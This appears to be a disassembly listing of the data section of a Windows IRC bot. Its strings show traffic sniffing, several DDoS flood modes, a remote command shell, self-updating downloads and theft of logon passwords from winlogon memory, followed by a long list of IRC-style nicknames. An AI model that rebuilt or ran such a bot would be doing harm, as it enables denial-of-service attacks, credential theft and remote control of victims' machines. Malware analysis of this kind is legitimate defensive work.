aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_437734	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377A4	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_437870	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4378C4	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437AEC	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143F7+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437EDC	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437EF0	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 4
dword_437F28	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437F50	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415F27o
		dd 6574656Ch, 0
dword_437F6C	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E8Ao
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437FEC	db  2Dh	; -		; DATA XREF: ___:004162BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_438010	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00416523o
					; ___:004166B9o
		dd 726F72h
unk_438028	db  2Dh	; -		; DATA XREF: ___:004164BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_438054	db  2Dh	; -		; DATA XREF: ___:004163C3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_438078	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:0041638Co
		dd 74756Fh
dword_438090	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:0041632Bo
		dd 169h
unk_4380A8	db  2Dh	; -		; DATA XREF: ___:004162E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_4380C8	db  2Dh	; -		; DATA XREF: ___:00416243o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4380EC	db  2Dh	; -		; DATA XREF: ___:00416205o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_438110	db  2Dh	; -		; DATA XREF: ___:00416734o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43813C	db  2Dh	; -		; DATA XREF: ___:0041662Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43815C	db  2Dh	; -		; DATA XREF: ___:0041660Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:004165FAo
unk_43818C	db  2Dh	; -		; DATA XREF: ___:004165E6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4381BC	db  2Dh	; -		; DATA XREF: ___:00416C33o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4381E8	db  2Dh	; -		; DATA XREF: ___:00416C25o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43821C	db  2Dh	; -		; DATA XREF: ___:00416B69o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_438260	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AF8o
		dd 25206465h, 73h
unk_43827C	db  2Dh	; -		; DATA XREF: ___:00416A81o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_4382B4	db  2Dh	; -		; DATA XREF: ___:00416A02o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4382DC	db  2Dh	; -		; DATA XREF: ___:00416978o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_438308	db  2Dh	; -		; DATA XREF: ___:00416935o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_438330	db  2Dh	; -		; DATA XREF: ___:00416923o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_438358	db  2Dh	; -		; DATA XREF: ___:00416817o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 4
off_4383A8	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 10h
unk_4383C0	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4383FC	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_438438	dd offset byte_5C3A41	; DATA XREF: sub_416FCF:loc_417014o
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384A8	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_4384DC	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438508	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_438540	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43859C	dd offset byte_530055	; DATA XREF: sub_4172C1+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004C+1
		dd offset byte_4E0049
		dd 0
off_4385B4	dd offset byte_530055	; DATA XREF: sub_4172C1+CEo
		dd offset byte_520045
		dd offset loc_41004C+2
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 4
unk_438678	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_4386C4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_438768	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
; ---------------------------------------------------------------------------
		sbb	[ebx-4E77FFBDh], dl
		inc	edx
		add	[eax+1C0042C6h], ah
		mov	byte ptr [edx+0], 14h
		xchg	eax, ebx
		inc	ebx
		add	al, dl
		scasd
		inc	edx
		add	[eax-3Ah], dh
		inc	edx
		add	[edi+ebp*4-4DE7FFBEh], ch
		inc	edx
		add	[eax-3Ah], bh
		inc	edx
		add	[eax], dl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], cl
		inc	ebx
		add	[eax], cl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], al
		inc	ebx
		add	[edi+esi*4+42h], bh
		add	ah, ch
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_439300
; ---------------------------------------------------------------------------
		cld
		xchg	eax, edx
		inc	ebx
		add	al, bh
		xchg	eax, edx
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_4392F4
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4392F0
		dd offset dword_4392EC
		dd offset dword_4392E8
		dd offset dword_4392E4
		dd offset dword_4392E0
		dd offset word_4392DC
		dd offset dword_4392D8
		dd offset aI_0		; "I"
		dd offset dword_4392D4
		dd offset dword_4392D0
		dd offset aA_0		; "A"
		dd offset dword_4392CC
		dd offset dword_4392C8
		dd offset dword_4392C4
		dd offset dword_4392C0
		dd offset dword_4392BC
		dd offset dword_4392B8
		dd offset dword_4392B4
		dd offset dword_4392B0
		dd offset dword_4392AC
		dd offset dword_4392A8
		dd offset dword_4392A4
		dd offset dword_4392A0
		dd offset dword_43929C
		dd offset word_439298
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439030
		dd offset off_43902C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438E98
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_438A68	dd offset aSex		; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
; ---------------------------------------------------------------------------
		push	6000438Dh
		lea	eax, [ebx+0]
		pop	eax
		lea	eax, [ebx+0]
		push	eax
		lea	eax, [ebx+0]
		dec	eax
		lea	eax, [ebx+0]
		inc	eax
		lea	eax, [ebx+0]
		cmp	[ebp-72CFFFBDh], cl
		inc	ebx
		add	[eax], ch
		lea	eax, [ebx+0]
		sbb	al, 8Dh
		inc	ebx
		add	ds:8D0C0043h[ecx*4], dl
		inc	ebx
		add	[eax], cl
		lea	eax, [ebx+0]
		add	[ebp-6D0BFFBDh], cl
		inc	ebx
		add	al, dh
